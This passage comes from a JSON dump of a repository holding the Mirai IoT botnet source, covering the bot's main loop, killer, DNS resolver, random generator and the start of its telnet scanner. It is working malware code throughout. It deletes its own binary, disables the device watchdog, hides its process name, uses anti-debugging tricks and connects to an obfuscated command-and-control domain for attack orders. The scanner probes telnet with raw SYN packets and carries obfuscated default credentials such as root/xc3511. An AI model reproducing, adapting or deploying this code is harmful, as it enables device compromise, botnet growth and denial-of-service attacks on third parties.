table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len);\n    m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len);\n    m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);\n\n    while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)\n    {\n        if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||\n            mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||\n            mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||\n            mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||\n            mem_exists(rdbuf, ret, m_zollard, m_zollard_len))\n        {\n            found = TRUE;\n            break;\n        }\n    }\n\n    table_lock_val(TABLE_MEM_QBOT);\n    table_lock_val(TABLE_MEM_QBOT2);\n    table_lock_val(TABLE_MEM_QBOT3);\n    table_lock_val(TABLE_MEM_UPX);\n    table_lock_val(TABLE_MEM_ZOLLARD);\n\n    close(fd);\n\n    return found;\n}\n\nstatic BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)\n{\n    int matches = 0;\n\n    if (str_len > buf_len)\n        return FALSE;\n\n    while (buf_len--)\n    {\n        if (*buf++ == str[matches])\n        {\n            if (++matches == str_len)\n                return TRUE;\n        }\n        else\n            matches = 0;\n    }\n\n    return FALSE;\n}\n"
  },
  {
    "path": "mirai/bot/killer.h",
    "content": "#pragma once\n\n#include \"includes.h\"\n\n#define KILLER_MIN_PID              400\n#define KILLER_RESTART_SCAN_TIME    600\n\n#define KILLER_REBIND_TELNET\n// #define KILLER_REBIND_SSH\n// #define KILLER_REBIND_HTTP\n\nvoid killer_init(void);\nvoid killer_kill(void);\nBOOL killer_kill_by_port(port_t);\n\nstatic BOOL has_exe_access(void);\nstatic BOOL memory_scan_match(char *);\nstatic BOOL status_upx_check(char *, char *);\nstatic BOOL mem_exists(char *, int, char *, int);\n"
  },
  {
    "path": "mirai/bot/main.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <sys/prctl.h>\n#include <sys/select.h>\n#include <signal.h>\n#include <fcntl.h>\n#include <sys/ioctl.h>\n#include <time.h>\n#include <errno.h>\n\n#include \"includes.h\"\n#include \"table.h\"\n#include \"rand.h\"\n#include \"attack.h\"\n#include \"killer.h\"\n#include \"scanner.h\"\n#include \"util.h\"\n#include \"resolv.h\"\n\nstatic void anti_gdb_entry(int);\nstatic void resolve_cnc_addr(void);\nstatic void establish_connection(void);\nstatic void teardown_connection(void);\nstatic void ensure_single_instance(void);\nstatic BOOL unlock_tbl_if_nodebug(char *);\n\nstruct sockaddr_in srv_addr;\nint fd_ctrl = -1, fd_serv = -1;\nBOOL pending_connection = FALSE;\nvoid (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry\n\n#ifdef DEBUG\nstatic void segv_handler(int sig, siginfo_t *si, void *unused)\n{\n    printf(\"Got SIGSEGV at address: 0x%lx\\n\", (long) si->si_addr);\n    exit(EXIT_FAILURE);\n}\n#endif\n\nint main(int argc, char **args)\n{\n    char *tbl_exec_succ;\n    char name_buf[32];\n    char id_buf[32];\n    int name_buf_len;\n    int tbl_exec_succ_len;\n    int pgid, pings = 0;\n\n#ifndef DEBUG\n    sigset_t sigs;\n    int wfd;\n\n    // Delete self\n    unlink(args[0]);\n\n    // Signal based control flow\n    sigemptyset(&sigs);\n    sigaddset(&sigs, SIGINT);\n    sigprocmask(SIG_BLOCK, &sigs, NULL);\n    signal(SIGCHLD, SIG_IGN);\n    signal(SIGTRAP, &anti_gdb_entry);\n\n    // Prevent watchdog from rebooting device\n    if ((wfd = open(\"/dev/watchdog\", 2)) != -1 ||\n        (wfd = open(\"/dev/misc/watchdog\", 2)) != -1)\n    {\n        int one = 1;\n\n        ioctl(wfd, 0x80045704, &one);\n        close(wfd);\n        wfd = 0;\n    }\n    chdir(\"/\");\n#endif\n\n#ifdef DEBUG\n    printf(\"DEBUG MODE YO\\n\");\n\n    sleep(1);\n\n    struct sigaction sa;\n\n    sa.sa_flags = SA_SIGINFO;\n    sigemptyset(&sa.sa_mask);\n    sa.sa_sigaction = segv_handler;\n    if (sigaction(SIGSEGV, &sa, NULL) == -1)\n        perror(\"sigaction\");\n\n    sa.sa_flags = SA_SIGINFO;\n    sigemptyset(&sa.sa_mask);\n    sa.sa_sigaction = segv_handler;\n    if (sigaction(SIGBUS, &sa, NULL) == -1)\n        perror(\"sigaction\");\n#endif\n\n    LOCAL_ADDR = util_local_addr();\n\n    srv_addr.sin_family = AF_INET;\n    srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR;\n    srv_addr.sin_port = htons(FAKE_CNC_PORT);\n\n#ifdef DEBUG\n    unlock_tbl_if_nodebug(args[0]);\n    anti_gdb_entry(0);\n#else\n    if (unlock_tbl_if_nodebug(args[0]))\n        raise(SIGTRAP);\n#endif\n\n    ensure_single_instance();\n\n    rand_init();\n\n    util_zero(id_buf, 32);\n    if (argc == 2 && util_strlen(args[1]) < 32)\n    {\n        util_strcpy(id_buf, args[1]);\n        util_zero(args[1], util_strlen(args[1]));\n    }\n\n    // Hide argv0\n    name_buf_len = ((rand_next() % 4) + 3) * 4;\n    rand_alphastr(name_buf, name_buf_len);\n    name_buf[name_buf_len] = 0;\n    util_strcpy(args[0], name_buf);\n\n    // Hide process name\n    name_buf_len = ((rand_next() % 6) + 3) * 4;\n    rand_alphastr(name_buf, name_buf_len);\n    name_buf[name_buf_len] = 0;\n    prctl(PR_SET_NAME, name_buf);\n\n    // Print out system exec\n    table_unlock_val(TABLE_EXEC_SUCCESS);\n    tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);\n    write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);\n    write(STDOUT, \"\\n\", 1);\n    table_lock_val(TABLE_EXEC_SUCCESS);\n\n#ifndef DEBUG\n    if (fork() > 0)\n        return 0;\n    pgid = setsid();\n    close(STDIN);\n    close(STDOUT);\n    close(STDERR);\n#endif\n\n    attack_init();\n    killer_init();\n#ifndef DEBUG\n#ifdef MIRAI_TELNET\n    scanner_init();\n#endif\n#endif\n\n    while (TRUE)\n    {\n        fd_set fdsetrd, fdsetwr, fdsetex;\n        struct timeval timeo;\n        int mfd, nfds;\n\n        FD_ZERO(&fdsetrd);\n        FD_ZERO(&fdsetwr);\n\n        // Socket for accept()\n        if (fd_ctrl != -1)\n            FD_SET(fd_ctrl, &fdsetrd);\n\n        // Set up CNC sockets\n        if (fd_serv == -1)\n            establish_connection();\n\n        if (pending_connection)\n            FD_SET(fd_serv, &fdsetwr);\n        else\n            FD_SET(fd_serv, &fdsetrd);\n\n        // Get maximum FD for select\n        if (fd_ctrl > fd_serv)\n            mfd = fd_ctrl;\n        else\n            mfd = fd_serv;\n\n        // Wait 10s in call to select()\n        timeo.tv_usec = 0;\n        timeo.tv_sec = 10;\n        nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);\n        if (nfds == -1)\n        {\n#ifdef DEBUG\n            printf(\"select() errno = %d\\n\", errno);\n#endif\n            continue;\n        }\n        else if (nfds == 0)\n        {\n            uint16_t len = 0;\n\n            if (pings++ % 6 == 0)\n                send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);\n        }\n\n        // Check if we need to kill ourselves\n        if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))\n        {\n            struct sockaddr_in cli_addr;\n            socklen_t cli_addr_len = sizeof (cli_addr);\n\n            accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len);\n\n#ifdef DEBUG\n            printf(\"[main] Detected newer instance running! Killing self\\n\");\n#endif\n#ifdef MIRAI_TELNET\n            scanner_kill();\n#endif\n            killer_kill();\n            attack_kill_all();\n            kill(pgid * -1, 9);\n            exit(0);\n        }\n\n        // Check if CNC connection was established or timed out or errored\n        if (pending_connection)\n        {\n            pending_connection = FALSE;\n\n            if (!FD_ISSET(fd_serv, &fdsetwr))\n            {\n#ifdef DEBUG\n                printf(\"[main] Timed out while connecting to CNC\\n\");\n#endif\n                teardown_connection();\n            }\n            else\n            {\n                int err = 0;\n                socklen_t err_len = sizeof (err);\n\n                getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);\n                if (err != 0)\n                {\n#ifdef DEBUG\n                    printf(\"[main] Error while connecting to CNC code=%d\\n\", err);\n#endif\n                    close(fd_serv);\n                    fd_serv = -1;\n                    sleep((rand_next() % 10) + 1);\n                }\n                else\n                {\n                    uint8_t id_len = util_strlen(id_buf);\n\n                    LOCAL_ADDR = util_local_addr();\n                    send(fd_serv, \"\\x00\\x00\\x00\\x01\", 4, MSG_NOSIGNAL);\n                    send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);\n                    if (id_len > 0)\n                    {\n                        send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);\n                    }\n#ifdef DEBUG\n                    printf(\"[main] Connected to CNC. Local address = %d\\n\", LOCAL_ADDR);\n#endif\n                }\n            }\n        }\n        else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd))\n        {\n            int n;\n            uint16_t len;\n            char rdbuf[1024];\n\n            // Try to read in buffer length from CNC\n            errno = 0;\n            n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK);\n            if (n == -1)\n            {\n                if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)\n                    continue;\n                else\n                    n = 0; // Cause connection to close\n            }\n            \n            // If n == 0 then we close the connection!\n            if (n == 0)\n            {\n#ifdef DEBUG\n                printf(\"[main] Lost connection with CNC (errno = %d) 1\\n\", errno);\n#endif\n                teardown_connection();\n                continue;\n            }\n\n            // Convert length to network order and sanity check length\n            if (len == 0) // If it is just a ping, no need to try to read in buffer data\n            {\n                recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length\n                continue;\n            }\n            len = ntohs(len);\n            if (len > sizeof (rdbuf))\n            {\n                close(fd_serv);\n                fd_serv = -1;\n            }\n\n            // Try to read in buffer from CNC\n            errno = 0;\n            n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);\n            if (n == -1)\n            {\n                if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)\n                    continue;\n                else\n                    n = 0;\n            }\n\n            // If n == 0 then we close the connection!\n            if (n == 0)\n            {\n#ifdef DEBUG\n                printf(\"[main] Lost connection with CNC (errno = %d) 2\\n\", errno);\n#endif\n                teardown_connection();\n                continue;\n            }\n\n            // Actually read buffer length and buffer data\n            recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);\n            len = ntohs(len);\n            recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);\n\n#ifdef DEBUG\n            printf(\"[main] Received %d bytes from CNC\\n\", len);\n#endif\n\n            if (len > 0)\n                attack_parse(rdbuf, len);\n        }\n    }\n\n    return 0;\n}\n\nstatic void anti_gdb_entry(int sig)\n{\n    resolve_func = resolve_cnc_addr;\n}\n\nstatic void resolve_cnc_addr(void)\n{\n    struct resolv_entries *entries;\n\n    table_unlock_val(TABLE_CNC_DOMAIN);\n    entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));\n    table_lock_val(TABLE_CNC_DOMAIN);\n    if (entries == NULL)\n    {\n#ifdef DEBUG\n        printf(\"[main] Failed to resolve CNC address\\n\");\n#endif\n        return;\n    }\n    srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];\n    resolv_entries_free(entries);\n\n    table_unlock_val(TABLE_CNC_PORT);\n    srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));\n    table_lock_val(TABLE_CNC_PORT);\n\n#ifdef DEBUG\n    printf(\"[main] Resolved domain\\n\");\n#endif\n}\n\nstatic void establish_connection(void)\n{\n#ifdef DEBUG\n    printf(\"[main] Attempting to connect to CNC\\n\");\n#endif\n\n    if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[main] Failed to call socket(). Errno = %d\\n\", errno);\n#endif\n        return;\n    }\n\n    fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0));\n\n    // Should call resolve_cnc_addr\n    if (resolve_func != NULL)\n        resolve_func();\n\n    pending_connection = TRUE;\n    connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in));\n}\n\nstatic void teardown_connection(void)\n{\n#ifdef DEBUG\n    printf(\"[main] Tearing down connection to CNC!\\n\");\n#endif\n\n    if (fd_serv != -1)\n        close(fd_serv);\n    fd_serv = -1;\n    sleep(1);\n}\n\nstatic void ensure_single_instance(void)\n{\n    static BOOL local_bind = TRUE;\n    struct sockaddr_in addr;\n    int opt = 1;\n\n    if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n        return;\n    setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));\n    fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));\n\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;\n    addr.sin_port = htons(SINGLE_INSTANCE_PORT);\n\n    // Try to bind to the control port\n    errno = 0;\n    if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)\n    {\n        if (errno == EADDRNOTAVAIL && local_bind)\n            local_bind = FALSE;\n#ifdef DEBUG\n        printf(\"[main] Another instance is already running (errno = %d)! Sending kill request...\\r\\n\", errno);\n#endif\n\n        // Reset addr just in case\n        addr.sin_family = AF_INET;\n        addr.sin_addr.s_addr = INADDR_ANY;\n        addr.sin_port = htons(SINGLE_INSTANCE_PORT);\n\n        if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"[main] Failed to connect to fd_ctrl to request process termination\\n\");\n#endif\n        }\n        \n        sleep(5);\n        close(fd_ctrl);\n        killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));\n        ensure_single_instance(); // Call again, so that we are now the control\n    }\n    else\n    {\n        if (listen(fd_ctrl, 1) == -1)\n        {\n#ifdef DEBUG\n            printf(\"[main] Failed to call listen() on fd_ctrl\\n\");\n            close(fd_ctrl);\n            sleep(5);\n            killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));\n            ensure_single_instance();\n#endif\n        }\n#ifdef DEBUG\n        printf(\"[main] We are the only process on this system!\\n\");\n#endif\n    }\n}\n\nstatic BOOL unlock_tbl_if_nodebug(char *argv0)\n{\n    // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72\n    char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];\n    int i, ii = 0, c = 0;\n    uint8_t fold = 0xAF;\n    void (*obf_funcs[]) (void) = {\n        (void (*) (void))ensure_single_instance,\n        (void (*) (void))table_unlock_val,\n        (void (*) (void))table_retrieve_val,\n        (void (*) (void))table_init, // This is the function we actually want to run\n        (void (*) (void))table_lock_val,\n        (void (*) (void))util_memcpy,\n        (void (*) (void))util_strcmp,\n        (void (*) (void))killer_init,\n        (void (*) (void))anti_gdb_entry\n    };\n    BOOL matches;\n\n    for (i = 0; i < 7; i++)\n        c += (long)obf_funcs[i];\n    if (c == 0)\n        return FALSE;\n\n    // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3\n    for (i = 0; i < sizeof (buf_src); i += 3)\n    {\n        char tmp = buf_src[i];\n\n        buf_dst[ii++] = buf_src[i + 1];\n        buf_dst[ii++] = tmp;\n\n        // Meaningless tautology that gets you right back where you started\n        i *= 2;\n        i += 14;\n        i /= 2;\n        i -= 7;\n\n        // Mess with 0xAF\n        fold += ~argv0[ii % util_strlen(argv0)];\n    }\n    fold %= (sizeof (obf_funcs) / sizeof (void *));\n    \n#ifndef DEBUG\n    (obf_funcs[fold])();\n    matches = util_strcmp(argv0, buf_dst);\n    util_zero(buf_src, sizeof (buf_src));\n    util_zero(buf_dst, sizeof (buf_dst));\n    return matches;\n#else\n    table_init();\n    return TRUE;\n#endif\n}\n"
  },
  {
    "path": "mirai/bot/protocol.h",
    "content": "#pragma once\n\n#include <stdint.h>\n\n#include \"includes.h\"\n\nstruct dnshdr {\n    uint16_t id, opts, qdcount, ancount, nscount, arcount;\n};\n\nstruct dns_question {\n    uint16_t qtype, qclass;\n};\n\nstruct dns_resource {\n    uint16_t type, _class;\n    uint32_t ttl;\n    uint16_t data_len;\n} __attribute__((packed));\n\nstruct grehdr {\n    uint16_t opts, protocol;\n};\n\n#define PROTO_DNS_QTYPE_A       1\n#define PROTO_DNS_QCLASS_IP     1\n\n#define PROTO_TCP_OPT_NOP   1\n#define PROTO_TCP_OPT_MSS   2\n#define PROTO_TCP_OPT_WSS   3\n#define PROTO_TCP_OPT_SACK  4\n#define PROTO_TCP_OPT_TSVAL 8\n\n#define PROTO_GRE_TRANS_ETH 0x6558\n"
  },
  {
    "path": "mirai/bot/rand.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdint.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include \"includes.h\"\n#include \"rand.h\"\n\nstatic uint32_t x, y, z, w;\n\nvoid rand_init(void)\n{\n    x = time(NULL);\n    y = getpid() ^ getppid();\n    z = clock();\n    w = z ^ y;\n}\n\nuint32_t rand_next(void) //period 2^96-1\n{\n    uint32_t t = x;\n    t ^= t << 11;\n    t ^= t >> 8;\n    x = y; y = z; z = w;\n    w ^= w >> 19;\n    w ^= t;\n    return w;\n}\n\nvoid rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len\n{\n    while (len > 0)\n    {\n        if (len >= 4)\n        {\n            *((uint32_t *)str) = rand_next();\n            str += sizeof (uint32_t);\n            len -= sizeof (uint32_t);\n        }\n        else if (len >= 2)\n        {\n            *((uint16_t *)str) = rand_next() & 0xFFFF;\n            str += sizeof (uint16_t);\n            len -= sizeof (uint16_t);\n        }\n        else\n        {\n            *str++ = rand_next() & 0xFF;\n            len--;\n        }\n    }\n}\n\nvoid rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str\n{\n    const char alphaset[] = \"abcdefghijklmnopqrstuvw012345678\";\n\n    while (len > 0)\n    {\n        if (len >= sizeof (uint32_t))\n        {\n            int i;\n            uint32_t entropy = rand_next();\n\n            for (i = 0; i < sizeof (uint32_t); i++)\n            {\n                uint8_t tmp = entropy & 0xff;\n\n                entropy = entropy >> 8;\n                tmp = tmp >> 3;\n\n                *str++ = alphaset[tmp];\n            }\n            len -= sizeof (uint32_t);\n        }\n        else\n        {\n            *str++ = rand_next() % (sizeof (alphaset));\n            len--;\n        }\n    }\n}\n"
  },
  {
    "path": "mirai/bot/rand.h",
    "content": "#pragma once\n\n#include <stdint.h>\n\n#define PHI 0x9e3779b9\n\nvoid rand_init(void);\nuint32_t rand_next(void);\nvoid rand_str(char *, int);\nvoid rand_alphastr(uint8_t *, int);\n"
  },
  {
    "path": "mirai/bot/resolv.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdint.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <fcntl.h>\n#include <sys/select.h>\n#include <errno.h>\n\n#include \"includes.h\"\n#include \"resolv.h\"\n#include \"util.h\"\n#include \"rand.h\"\n#include \"protocol.h\"\n\nvoid resolv_domain_to_hostname(char *dst_hostname, char *src_domain)\n{\n    int len = util_strlen(src_domain) + 1;\n    char *lbl = dst_hostname, *dst_pos = dst_hostname + 1;\n    uint8_t curr_len = 0;\n\n    while (len-- > 0)\n    {\n        char c = *src_domain++;\n\n        if (c == '.' || c == 0)\n        {\n            *lbl = curr_len;\n            lbl = dst_pos++;\n            curr_len = 0;\n        }\n        else\n        {\n            curr_len++;\n            *dst_pos++ = c;\n        }\n    }\n    *dst_pos = 0;\n}\n\nstatic void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count)\n{\n    unsigned int jumped = 0, offset;\n    *count = 1;\n    while(*reader != 0)\n    {\n        if(*reader >= 192)\n        {\n            offset = (*reader)*256 + *(reader+1) - 49152;\n            reader = buffer + offset - 1;\n            jumped = 1;\n        }\n        reader = reader+1;\n        if(jumped == 0)\n            *count = *count + 1;\n    }\n\n    if(jumped == 1)\n        *count = *count + 1;\n}\n\nstruct resolv_entries *resolv_lookup(char *domain)\n{\n    struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries));\n    char query[2048], response[2048];\n    struct dnshdr *dnsh = (struct dnshdr *)query;\n    char *qname = (char *)(dnsh + 1);\n\n    resolv_domain_to_hostname(qname, domain);\n\n    struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);\n    struct sockaddr_in addr = {0};\n    int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question);\n    int tries = 0, fd = -1, i = 0;\n    uint16_t dns_id = rand_next() % 0xffff;\n\n    util_zero(&addr, sizeof (struct sockaddr_in));\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);\n    addr.sin_port = htons(53);\n\n    // Set up the dns query\n    dnsh->id = dns_id;\n    dnsh->opts = htons(1 << 8); // Recursion desired\n    dnsh->qdcount = htons(1);\n    dnst->qtype = htons(PROTO_DNS_QTYPE_A);\n    dnst->qclass = htons(PROTO_DNS_QCLASS_IP);\n\n    while (tries++ < 5)\n    {\n        fd_set fdset;\n        struct timeval timeo;\n        int nfds;\n\n        if (fd != -1)\n            close(fd);\n        if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"[resolv] Failed to create socket\\n\");\n#endif\n            sleep(1);\n            continue;\n        }\n\n        if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"[resolv] Failed to call connect on udp socket\\n\");\n#endif\n            sleep(1);\n            continue;\n        }\n\n        if (send(fd, query, query_len, MSG_NOSIGNAL) == -1)\n        {\n#ifdef DEBUG\n            printf(\"[resolv] Failed to send packet: %d\\n\", errno);\n#endif\n            sleep(1);\n            continue;\n        }\n\n        fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0));\n        FD_ZERO(&fdset);\n        FD_SET(fd, &fdset);\n\n        timeo.tv_sec = 5;\n        timeo.tv_usec = 0;\n        nfds = select(fd + 1, &fdset, NULL, NULL, &timeo);\n\n        if (nfds == -1)\n        {\n#ifdef DEBUG\n            printf(\"[resolv] select() failed\\n\");\n#endif\n            break;\n        }\n        else if (nfds == 0)\n        {\n#ifdef DEBUG\n            printf(\"[resolv] Couldn't resolve %s in time. %d tr%s\\n\", domain, tries, tries == 1 ? \"y\" : \"ies\");\n#endif\n            continue;\n        }\n        else if (FD_ISSET(fd, &fdset))\n        {\n#ifdef DEBUG\n            printf(\"[resolv] Got response from select\\n\");\n#endif\n            int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL);\n            char *name;\n            struct dnsans *dnsa;\n            uint16_t ancount;\n            int stop;\n\n            if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question)))\n                continue;\n\n            dnsh = (struct dnshdr *)response;\n            qname = (char *)(dnsh + 1);\n            dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);\n            name = (char *)(dnst + 1);\n\n            if (dnsh->id != dns_id)\n                continue;\n            if (dnsh->ancount == 0)\n                continue;\n\n            ancount = ntohs(dnsh->ancount);\n            while (ancount-- > 0)\n            {\n                struct dns_resource *r_data = NULL;\n\n                resolv_skip_name(name, response, &stop);\n                name = name + stop;\n\n                r_data = (struct dns_resource *)name;\n                name = name + sizeof(struct dns_resource);\n\n                if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP))\n                {\n                    if (ntohs(r_data->data_len) == 4)\n                    {\n                        uint32_t *p;\n                        uint8_t tmp_buf[4];\n                        for(i = 0; i < 4; i++)\n                            tmp_buf[i] = name[i];\n\n                        p = (uint32_t *)tmp_buf;\n\n                        entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t));\n                        entries->addrs[entries->addrs_len++] = (*p);\n#ifdef DEBUG\n                        printf(\"[resolv] Found IP address: %08x\\n\", (*p));\n#endif\n                    }\n\n                    name = name + ntohs(r_data->data_len);\n                } else {\n                    resolv_skip_name(name, response, &stop);\n                    name = name + stop;\n                }\n            }\n        }\n\n        break;\n    }\n\n    close(fd);\n\n#ifdef DEBUG\n    printf(\"Resolved %s to %d IPv4 addresses\\n\", domain, entries->addrs_len);\n#endif\n\n    if (entries->addrs_len > 0)\n        return entries;\n    else\n    {\n        resolv_entries_free(entries);\n        return NULL;\n    }\n}\n\nvoid resolv_entries_free(struct resolv_entries *entries)\n{\n    if (entries == NULL)\n        return;\n    if (entries->addrs != NULL)\n        free(entries->addrs);\n    free(entries);\n}\n"
  },
  {
    "path": "mirai/bot/resolv.h",
    "content": "#pragma once\n\n#include \"includes.h\"\n\nstruct resolv_entries {\n    uint8_t addrs_len;\n    ipv4_t *addrs;\n};\n\nvoid resolv_domain_to_hostname(char *, char *);\nstruct resolv_entries *resolv_lookup(char *);\nvoid resolv_entries_free(struct resolv_entries *);\n"
  },
  {
    "path": "mirai/bot/scanner.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef MIRAI_TELNET\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <sys/select.h>\n#include <sys/types.h>\n#include <time.h>\n#include <fcntl.h>\n#include <signal.h>\n#include <errno.h>\n#include <string.h>\n#include <linux/ip.h>\n#include <linux/tcp.h>\n\n#include \"includes.h\"\n#include \"scanner.h\"\n#include \"table.h\"\n#include \"rand.h\"\n#include \"util.h\"\n#include \"checksum.h\"\n#include \"resolv.h\"\n\nint scanner_pid, rsck, rsck_out, auth_table_len = 0;\nchar scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};\nstruct scanner_auth *auth_table = NULL;\nstruct scanner_connection *conn_table;\nuint16_t auth_table_max_weight = 0;\nuint32_t fake_time = 0;\n\nint recv_strip_null(int sock, void *buf, int len, int flags)\n{\n    int ret = recv(sock, buf, len, flags);\n\n    if (ret > 0)\n    {\n        int i = 0;\n\n        for(i = 0; i < ret; i++)\n        {\n            if (((char *)buf)[i] == 0x00)\n            {\n                ((char *)buf)[i] = 'A';\n            }\n        }\n    }\n\n    return ret;\n}\n\nvoid scanner_init(void)\n{\n    int i;\n    uint16_t source_port;\n    struct iphdr *iph;\n    struct tcphdr *tcph;\n\n    // Let parent continue on main thread\n    scanner_pid = fork();\n    if (scanner_pid > 0 || scanner_pid == -1)\n        return;\n\n    LOCAL_ADDR = util_local_addr();\n\n    rand_init();\n    fake_time = time(NULL);\n    conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));\n    for (i = 0; i < SCANNER_MAX_CONNS; i++)\n    {\n        conn_table[i].state = SC_CLOSED;\n        conn_table[i].fd = -1;\n    }\n\n    // Set up raw socket scanning and payload\n    if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[scanner] Failed to initialize raw socket, cannot scan\\n\");\n#endif\n        exit(0);\n    }\n    fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));\n    i = 1;\n    if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)\n    {\n#ifdef DEBUG\n        printf(\"[scanner] Failed to set IP_HDRINCL, cannot scan\\n\");\n#endif\n        close(rsck);\n        exit(0);\n    }\n\n    do\n    {\n        source_port = rand_next() & 0xffff;\n    }\n    while (ntohs(source_port) < 1024);\n\n    iph = (struct iphdr *)scanner_rawpkt;\n    tcph = (struct tcphdr *)(iph + 1);\n\n    // Set up IPv4 header\n    iph->ihl = 5;\n    iph->version = 4;\n    iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));\n    iph->id = rand_next();\n    iph->ttl = 64;\n    iph->protocol = IPPROTO_TCP;\n\n    // Set up TCP header\n    tcph->dest = htons(23);\n    tcph->source = source_port;\n    tcph->doff = 5;\n    tcph->window = rand_next() & 0xffff;\n    tcph->syn = TRUE;\n\n    // Set up passwords\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x5A\\x41\\x11\\x17\\x13\\x13\", 10);                     // root     xc3511\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x54\\x4B\\x58\\x5A\\x54\", 9);                          // root     vizxv\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x43\\x46\\x4F\\x4B\\x4C\", 8);                          // root     admin\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x43\\x46\\x4F\\x4B\\x4C\", 7);                      // admin    admin\n    